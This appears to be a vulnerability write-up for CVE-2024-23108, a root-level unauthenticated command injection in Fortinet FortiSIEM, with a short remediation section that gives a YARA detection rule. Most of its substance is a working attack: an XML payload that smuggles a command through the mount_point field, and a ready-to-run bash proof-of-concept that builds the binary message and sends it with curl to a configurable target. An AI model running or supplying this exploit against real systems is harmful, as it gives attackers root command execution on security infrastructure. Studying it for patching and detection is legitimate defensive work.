/

May 29, 2024

CVE-2024-23108: Fortinet FortiSIEM Unauthenticated 2nd Order Command Injection

Description

FortiSiEM version 7.0 7.1 6.7 Legacy Affected by a Remote Code Execution (RCE) that allows an unauthenticated attacker to run arbitrary commands as root. The attack is executed by sending a specially crafted HTTPS payload that causes the phoenix FortiSIEM service to run the arbitrary command using os.system() as root.

Payload

<TEST_STORAGE type="nfs">
    <server_ip>127.0.0.1</server_ip>
    <mount_point>/lala; <ATTACKER_COMMAND>;</mount_point>
</TEST_STORAGE>

POC

Attacker Script

#!/bin/bash

TARGET="127.0.0.1"  # Replace with the FortiSIEM target IP
PORT="7900"  # Replace with the FortiSIEM target port
COMMAND="whoami"  # Replace with the command to execute

# Construct the payload
PAYLOAD="<TEST_STORAGE type=\"nfs\">\n    <server_ip>127.0.0.1</server_ip>\n    <mount_point>/lala; ${COMMAND};</mount_point>\n</TEST_STORAGE>"
PAYLOAD_LENGTH=$(echo -n "$PAYLOAD" | wc -c)

# Create the binary message
BIN_MSG=$(echo -n -e "\x51\x00\x00\x00\x$(printf "%08x" $PAYLOAD_LENGTH | sed 's/../\\x&/g')\x4f\xd2\x9b\x40\x00\x00\x00\x00$PAYLOAD")

# Send the request using curl
curl --insecure --data-binary "$BIN_MSG" "https://$TARGET:$PORT"

Wireshark Packet Trace

We will configure and run the script with the following configuration:

TARGET="172.30.1.84"  
PORT="4443" 
COMMAND="whoami" 

Analysing the SSL stripped packet using wireshark shows the following request payload sent to FortiSIEM

file

Analysing the SSL stripped packet using wireshark shows the following reply payload sent back from FortiSIEM

file

Remediation

Attempts to exploit CVE-2024-23108 will leave a log message containing a failed command with datastore.py nfs test.

We can detect the attack by adding the following YARA Rule

rule CVE_2024_23108 {
  meta:
    description = "Detects potential CVE-2024-23108 exploit attempt in logs"
  strings:
    $failed_command = "failed command"
    $datastore_py = "datastore.py"
    $nfs_test = "nfs test"
  condition:
    all of ($failed_command, $datastore_py, $nfs_test)
}